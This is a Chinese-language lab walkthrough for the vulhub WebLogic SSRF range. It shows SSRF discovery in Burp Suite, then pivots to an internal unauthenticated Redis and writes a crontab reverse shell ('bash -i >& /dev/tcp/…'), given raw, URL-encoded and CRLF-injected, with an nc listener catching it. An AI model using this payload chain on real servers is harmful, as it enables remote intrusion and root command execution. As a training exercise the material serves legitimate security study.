目录
靶场环境:
开启靶场:
一、启动docker环境
二、访问weblogic环境:
三、访问漏洞存在的网站目录:
四、继续探测
五、本机搭建靶场
六、redis未授权访问漏洞的危害
七、攻击指令
八、对指令进行url编码
九、对编码好的指令前后添加空白,防止跟其它的数据混淆
链接:百度网盘 请输入提取码 提取码:c898
用户allen,密码123456
用户root,密码123456
Weblogic路径:/root/vulhub/weblogic
切换root用户:su root
密码 123456
进入到/root/vulhub/weblogic/ssrf
docker-compose up -d
返回服务信息证明docker成功启动
docker-compose ps
查看容器信息,记录容器ID
docker ps
进入启动好的容器中,后续需要先退出docker容器才能关闭当前的漏洞环境,使用exit命令
docker exec -it {容器ID} /bin/bash
http://{靶机ip}:7001
,访问成功,当前返回的404页面是weblogic内部的404页面。
http://{靶机ip}:7001/uddiexplorer
在Search Public Registries,选择Public Registry中的 IBM,同时勾选Search by business name,开启bp进行抓包,点击search。
将抓到的数据包发送到repeater模块,直接在repeater模块发包,并把返回包发送到comparer模块。
分析请求中的operator参数可以发现该参数的内容是一个经过URL编码的网址,将其修改为百度一下,你就知道再次发包尝试,并将返回包也发送给comparer模块,在comparer模块中进行对比。
在comparer模块中可以看到直观地看到两个数据包中标亮的位置返回了不同的报错信息,因此可能存在SSRF漏洞。
继续构建数据包,分别构造 http://localhost 和http://localhost:7001 的请求包,并将返回包发送到comparer中, 在comparer中分析数据包的不同。
可以看到 http://localhost 返回的是不能连接到 http://localhost,http://localhost:7001 返回的是从 http://localhost:7001 服务器返回了一个404的页面,这个页面是服务器内置的 ,说明访问成功。可以判断出存在SSRF漏洞。
我们已经知道了当前靶场环境,尝试自己搭建一个,为了节约时间可以直接在当前靶场里面操作。
分别进入weblogic和redis的容器里面,通过ifconfig查看这两个容器的IP地址分别为172.18.0.3 和 172.18.0.2。
已知redis的默认端口为6379。
构造请求包 http://172.18.0.2:6379 进行探测,可以看出目标服务器开启了redis服务,并且端口号为6379
该漏洞可以让攻击者直接通过无账号密码的方式登录redis服务,并且具备root权限,可以执行高危操作。
本次利用该漏洞的思路为:利用漏洞读写目标服务器的crontab文件,从而修改任务计划,反弹shell。
给redis服务器发送三条命令,将其写入redis的容器里里面的/etc/crontab,从而将shell反弹到本地物理机ip的1234端口。
ubantu中的/etc/crontab:定时执行脚本。(类似于windows的开机自启动)
set 1 "\n\n\n\n * * * * * root bash -i >& /dev/tcp/{本地物理机ip}/1234 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
set%201%20%22%5Cn%5Cn%5Cn%5Cn%20*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.2.74%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%20config%20set%20dir%20%2Fetc%2F%20config%20set%20dbfilename%20crontab%20save
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.2.74%2F1680%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
用NC工具开启本地监听
nc下载链接:链接:百度网盘 请输入提取码 提取码:x6s1
nc.exe -lvvp 1680
使用bp提交数据
查看redis的容器里里面的/etc/crontab文件,写入成功
查看本机,获取到了反弹shell